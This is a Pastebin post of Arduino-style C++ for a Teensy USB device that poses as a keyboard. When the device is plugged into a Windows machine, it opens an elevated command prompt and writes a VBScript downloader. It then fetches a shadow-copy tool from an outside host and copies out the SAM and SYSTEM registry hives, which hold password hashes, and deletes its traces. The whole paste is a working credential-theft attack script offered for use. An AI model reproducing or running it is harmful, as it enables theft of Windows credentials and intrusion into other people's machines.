Advertisement
Xcellerator

Teensy: SAM and SYSTEM Retriever

Feb 2nd, 2012
2,555
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.98 KB | None | 0 0
  1. void setup() {
  2.  delay(5000);
  3.  cmd_admin();
  4.  delay(400);
  5.  Keyboard.print("cd <DIRECTORY TO SAVE SAM AND SYSTEM TO>");
  6.  enter_key();
  7.  delay(200);
  8.  Keyboard.print("copy con download.vbs");
  9.  enter_key();
  10.  Keyboard.print("Set args = WScript.Arguments:a = split(args(0), '/')(UBound(split(args(0),'/')))");
  11.  enter_key();
  12.  Keyboard.print("Set objXMLHTTP = CreateObject('MSXML2.XMLHTTP'):objXMLHTTP.open 'GET', args(0), false:objXMLHTTP.send()");
  13.  enter_key();
  14.  Keyboard.print("If objXMLHTTP.Status = 200 Then");
  15.  enter_key();
  16.  Keyboard.print("Set objADOStream = CreateObject('ADODB.Stream'):objADOStream.Open");
  17.  enter_key();
  18.  Keyboard.print("objADOStream.Type = 1:objADOStream.Write objXMLHTTP.ResponseBody:objADOStream.Position = 0");
  19.  enter_key();
  20.  Keyboard.print("Set objFSO = Createobject('Scripting.FileSystemObject'):If objFSO.Fileexists(a) Then objFSO.DeleteFile a");
  21.  enter_key();
  22.  Keyboard.print("objADOStream.SaveToFile a:objADOStream.Close:Set objADOStream = Nothing");
  23.  enter_key();
  24.  Keyboard.print("End if:Set objXMLHTTP = Nothing:Set objFSO = Nothing");
  25.  enter_key();
  26.  delay(400);
  27.  Keyboard.set_modifier(MODIFIERKEY_CTRL);
  28.  delay(400);
  29.  Keyboard.set_key1(KEY_Z);
  30.  Keyboard.send_now();
  31.  clear_keyboard();
  32.  delay(400);
  33.  enter_key();
  34.  Keyboard.print("cscript download.vbs http://tools.lanmaster53.com/vssown.vbs");
  35.  enter_key();
  36.  delay(800);
  37.  Keyboard.print("del download.vbs");
  38.  enter_key();
  39.  delay(400);
  40.  Keyboard.print("cscript vssown.vbs /start");
  41.  enter_key();
  42.  delay(400);
  43.  Keyboard.print("cscript vssown.vbs /create");
  44.  enter_key();
  45.  delay(400);
  46.  Keyboard.print("copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SAM .");
  47.  enter_key();
  48.  delay(400);
  49.  Keyboard.print("copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\SYSTEM .");
  50.  enter_key();
  51.  delay(400);
  52.  Keyboard.print("cscript vssown.vbs /stop");
  53.  enter_key();
  54.  delay(800);
  55.  Keyboard.print("del vssown.vbs");
  56.  enter_key();
  57.  delay(500);
  58.  Keyboard.print("exit");
  59.  enter_key();
  60. }
  61.  
  62. void loop() {
  63.   digitalWrite(PIN_D6, LOW);   // LED on
  64.   delay(random(1000));         // Slow Blink
  65.   digitalWrite(PIN_D6, HIGH);  // LED off
  66.   delay(random(1000));
  67. }
  68.  
  69. void run_command() {
  70.   Keyboard.set_modifier(MODIFIERKEY_GUI);
  71.   delay(500);
  72.   Keyboard.set_key1(KEY_R);
  73.   Keyboard.send_now();
  74.   clear_keyboard();
  75. }
  76.  
  77. void cmd_admin() {
  78.   Keyboard.set_modifier(MODIFIERKEY_GUI);
  79.   Keyboard.send_now();
  80.   clear_keyboard();
  81.   delay(500);
  82.   Keyboard.print("cmd");
  83.   delay(500);
  84.   Keyboard.set_modifier(MODIFIERKEY_CTRL | MODIFIERKEY_SHIFT);
  85.   Keyboard.set_key1(KEY_ENTER);
  86.   Keyboard.send_now();
  87.   clear_keyboard();
  88.   delay(1500);
  89.   Keyboard.set_key1(KEY_LEFT);
  90.   Keyboard.send_now();
  91.   clear_keyboard();
  92.   delay(500);
  93.   enter_key();
  94.   delay(500);
  95. }  
  96.    
  97. void clear_keyboard() {
  98.   Keyboard.set_modifier(0);
  99.   Keyboard.set_key1(0);
  100.   Keyboard.send_now();
  101. }
  102.  
  103. void enter_key() {
  104.   Keyboard.set_key1(KEY_ENTER);
  105.   Keyboard.send_now();
  106.   clear_keyboard();
  107. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement